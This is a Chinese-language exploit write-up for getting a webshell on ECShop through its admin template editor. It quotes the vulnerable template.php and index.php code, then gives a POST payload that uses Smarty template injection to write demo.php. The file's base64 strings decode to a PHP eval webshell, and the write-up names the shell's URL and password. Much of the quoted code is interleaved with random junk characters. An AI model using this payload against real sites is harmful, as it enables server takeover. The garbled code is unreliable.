Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 w: H( x- J0 l" G$ [, G9 U
; i3 M: K& b7 f- n而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ m. a0 P& ^5 d5 J" Z% Kadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')
* U/ l$ A; c. W2 g
# D) o; Z3 }/ |/ W- b/ F# }7 I2   

3 {
/ C+ G0 `6 U8 w0 Y
/ J+ Z* W' W$ o5 s' ~8 z: _4     check_authz_json('library_manage');

7 Q& }* i7 V7 G& L0 h# m# G5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

. a' ^+ K: m9 x7   
' y% Q" a, r. x% F5 o, W
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
% U9 c$ @; h: n6 \- o' v! p
! @" F' F9 C& j10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

2 {6 M% G! |" G  f+ d8 z11   

3 z/ t8 r, c* W8 _12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
" C: D6 @1 L6 w6 L0 z
) a6 v( n& g$ q8 }! k14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
! x. k% \' H% C" Y5 J- q/ k& a
2 r. {6 O6 y$ y7 K" X; n8 A16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 n0 y* _5 z1 Z( }1 l
17         make_json_result('', $_LANG['update_lib_success']);

, e# O: P9 w$ b0 k. ]: L2 k8 @18     }

19     else
0 [. o9 J( t0 m7 q  ~2 M
20     {

* o/ @6 _8 _/ I21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
1 _) K  Y3 Q2 C- P" \" a
22     }
) @2 _7 ]7 Q) z. J
23 }
( u+ ]4 A# e( p' q8 h# Z% d% y
那么找个比较方便调用了模板的文件
: S% Z7 P  L( ?! @index.php
* W$ ~- Q7 |- T, F) W! {1 j1 R  F
' P7 k: t) D( K7 k1 if ($act == 'cat_rec')

2   
# m8 w1 k% |9 |+ [% e  c; Q
3 {

4   
( P* N+ u; {- X2 b
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

, S; I/ p7 z+ t$ ~/ q6   
% \0 [$ M2 s2 z& E% x% M' @
: B% Y1 h+ N4 j* r# I' C# Z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ v5 f$ U" s5 L1 Y# W2 c
% B0 K  t7 B; [8 M8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
9 r/ I4 D( c5 H. a+ k+ W/ t! `  W; J0 N
10   

11     include_once('includes/cls_json.php');
: u# z* ^- y$ w  P; C
) r, }! G: D2 V5 U12   

13     $json = new JSON;
! y: l/ s4 B! e9 Q
# m# L3 s) ^# P8 e14   

1 W6 L2 V* t) i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 n+ N1 }2 x: D4 o
16   
. m) C: H  w4 F4 Z; E  P
+ t: J1 N1 b; [+ G3 C. b17     $children = get_children($cat_id);

2 n: W2 b; n8 V1 v; G, F+ w& \1 B18   
, y$ S- B& J& H. t  A4 k, o
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
; L- }: I9 |) C' a+ N$ E1 H- [7 s
3 j9 q- I( n3 j0 g; g3 H; T" M21     $smarty->assign('cat_rec_sign', 1);
! ~+ |) H( z$ _: B
22   
: ?) R  h) L7 L+ I% e- `2 o* \6 I
& o* u. J) s" [) f# I' A23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; S- F. c; H5 _7 C1 h6 J3 x- O
24   
6 H1 c8 M5 }9 J+ a9 L0 s- g
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
6 ~, D: j( g- c
26   

: _7 l5 h' J$ p' z2 e2 L/ |27         echo $rec_array[$rec_type];

28   

- _, ^7 L+ V7 s! q5 `- C29     die($json->encode($result));
& j5 i+ q6 c. O3 [* f
0 k. N% Z* y$ R$ ]! |6 t2 Q30   

31 }
. G: u8 a" w& ]6 Q: B1 l6 t5 \
, u0 m9 f; ~+ ?2 a) D' v  A那么就有利用方法了
5 E1 c6 E% m; T0 a( i6 Rpost包到http://localhost/ec/admin/template.php?act=update_library
7 k7 r  ]9 q$ J- F7 RPost内容：

​
+ U6 ?5 k$ f: _4 h& ]" l1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

# R9 J1 }1 E/ ?& r0 D9 Y3 H$ z. a然后访问http://localhost/ec/index.php?act=cat_rec

2 s( _, V) S9 l# tshel地址：http://localhost/ec/demo.php
密码c